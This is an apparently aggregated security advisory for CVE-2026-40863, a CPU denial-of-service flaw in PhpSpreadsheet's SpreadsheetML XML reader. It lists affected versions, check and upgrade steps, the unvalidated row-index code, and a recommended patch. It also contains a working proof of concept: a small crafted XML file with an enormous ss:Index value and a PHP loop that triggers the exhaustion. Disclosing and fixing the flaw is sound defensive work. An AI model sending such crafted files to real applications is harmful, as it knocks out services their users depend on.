---
id: "CVE-2026-40863"
kind: "vulnerability"
aliases: ["CVE-2026-40863", "GHSA-84wq-86v6-x5j6"]
title: "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader"
severity: "high"
cvss: 7.5
epss: 0.00395
exploited: false
status: "open"
category: "package"
products: [{"name": "phpoffice/phpspreadsheet", "fixed": ["5.7.0"], "affected": ">= 4.0.0, <= 5.6.0", "ecosystem": "composer"}, {"name": "phpoffice/phpspreadsheet", "fixed": ["3.10.5"], "affected": ">= 3.3.0, <= 3.10.4", "ecosystem": "composer"}, {"name": "phpoffice/phpspreadsheet", "fixed": ["2.4.5"], "affected": ">= 2.2.0, <= 2.4.4", "ecosystem": "composer"}, {"name": "phpoffice/phpspreadsheet", "fixed": ["2.1.16"], "affected": ">= 2.0.0, <= 2.1.15", "ecosystem": "composer"}, {"name": "phpoffice/phpspreadsheet", "fixed": ["1.30.6"], "affected": "<= 1.30.5", "ecosystem": "composer"}, {"name": "phpoffice phpspreadsheet", "fixed": ["1.30.4"], "affected": "< 1.30.4", "ecosystem": "vendor"}, {"name": "phpoffice phpspreadsheet", "fixed": ["2.1.16"], "affected": ">= 2.0.0, < 2.1.16", "ecosystem": "vendor"}, {"name": "phpoffice phpspreadsheet", "fixed": ["2.4.5"], "affected": ">= 2.2.0, < 2.4.5", "ecosystem": "vendor"}, {"name": "phpoffice phpspreadsheet", "fixed": ["3.10.5"], "affected": ">= 3.3.0, < 3.10.5", "ecosystem": "vendor"}, {"name": "phpoffice phpspreadsheet", "fixed": ["5.7.0"], "affected": ">= 4.0.0, < 5.7.0", "ecosystem": "vendor"}]
ecosystems: ["composer", "vendor"]
tags: ["composer", "cwe-400", "cwe-770", "package", "php", "phpspreadsheet", "self-hosted"]
not_affected_if: ["no-xml-reader-use", "trusted-input-only"]
published_at: "2026-04-29T20:23:27+00:00"
first_seen_at: "2026-10-26T20:56:17+00:00"
updated_at: "2026-10-26T21:20:32+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-84wq-86v6-x5j6", "first_seen_at": "2026-10-26T20:56:17+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40863", "first_seen_at": "2026-10-26T21:20:32+00:00"}]
---

# PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader

PhpSpreadsheet's XML reader accepts an unbounded row index in a SpreadsheetML file, so a roughly 300-byte upload inflates the sheet's highest row to about one billion. Iterating that sheet then consumes CPU until the request is killed, denying service to the application.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- composer:phpoffice/phpspreadsheet affected >= 4.0.0, <= 5.6.0 fixed 5.7.0
- composer:phpoffice/phpspreadsheet affected >= 3.3.0, <= 3.10.4 fixed 3.10.5
- composer:phpoffice/phpspreadsheet affected >= 2.2.0, <= 2.4.4 fixed 2.4.5
- composer:phpoffice/phpspreadsheet affected >= 2.0.0, <= 2.1.15 fixed 2.1.16
- composer:phpoffice/phpspreadsheet affected <= 1.30.5 fixed 1.30.6
- vendor:phpoffice phpspreadsheet affected < 1.30.4 fixed 1.30.4
- vendor:phpoffice phpspreadsheet affected >= 2.0.0, < 2.1.16 fixed 2.1.16
- vendor:phpoffice phpspreadsheet affected >= 2.2.0, < 2.4.5 fixed 2.4.5
- vendor:phpoffice phpspreadsheet affected >= 3.3.0, < 3.10.5 fixed 3.10.5
- vendor:phpoffice phpspreadsheet affected >= 4.0.0, < 5.7.0 fixed 5.7.0

## How to check

- Run `composer show phpoffice/phpspreadsheet` and compare the installed version to the affected ranges.
- Search the codebase for `Reader\Xml` or `IOFactory::createReader('Xml')` to see whether SpreadsheetML files from users are loaded.

## Fix

- Upgrade phpoffice/phpspreadsheet to `5.7.0` on the 5.x line, `3.10.5` on 3.x, `2.4.5` on 2.x, `2.1.16` on 2.1, or `1.30.6` on 1.x.
- Until upgraded, reject or do not load user-supplied SpreadsheetML XML files.

## Timeline

- 2026-10-26T20:56:17+00:00 ghsa https://github.com/advisories/GHSA-84wq-86v6-x5j6
- 2026-10-26T21:20:32+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-40863

## From the sources

## Summary

The SpreadsheetML XML reader (`Reader\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index="999999999"` on a `<Row>` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.

## Details

In `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `<Row>` elements:

```php
// Xml.php:397-402
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW
}
if (isset($row_ss['Hidden'])) {
    $rowVisible = ((string) $row_ss['Hidden']) !== '1';
    $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);
}
```

The `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`:

```php
// Worksheet.php:1342-1351
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}
```

This inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`.

The `RowIterator` constructor uses `getHighestRow()` as its default end row:

```php
// RowIterator.php:84-88
public function resetEnd(?int $endRow = null): static
{
    $this->endRow = $endRow ?: $this->subject->getHighestRow();
    return $this;
}
```

With `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection — it returns `true` for all cells.

Even without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability.

## PoC

1. Create `poc.xml`:
```xml
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
 <Worksheet ss:Name="Sheet1">
  <Table>
   <Row ss:Index="999999999" ss:Hidden="1"/>
   <Row><Cell><Data ss:Type="String">test</Data></Cell></Row>
  </Table>
 </Worksheet>
</Workbook>
```

2. Load and iterate:
```php
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xml');
$spreadsheet = $reader->load('poc.xml');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Outputs: Highest row: 1000000000

// This loop will attempt ~1 billion iterations → CPU exhaustion
foreach ($sheet->getRowIterator() as $row) {
    // Never completes
}
```

## Impact

Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:

- Exhausting server CPU with a single small XML file (~300 bytes)
- Blocking the PHP worker process, potentially affecting all concurrent users
- Triggering PHP max_execution_time limits that still consume resources before killing the process

The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.

## Recommended Fix

Add MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`:

```php
// After line 398:
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index'];
    if ($rowID > AddressRange::MAX_ROW) {
        $rowID = AddressRange::MAX_ROW;
    }
}
```

Add the necessary import at the top of the file:
```php
use PhpOffice\PhpSpreadsheet\Cell\AddressRange;
```

The same validation should also be applied to the `ss:Index` attribute on `<Cell>` elements (line 409) for the column dimension.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
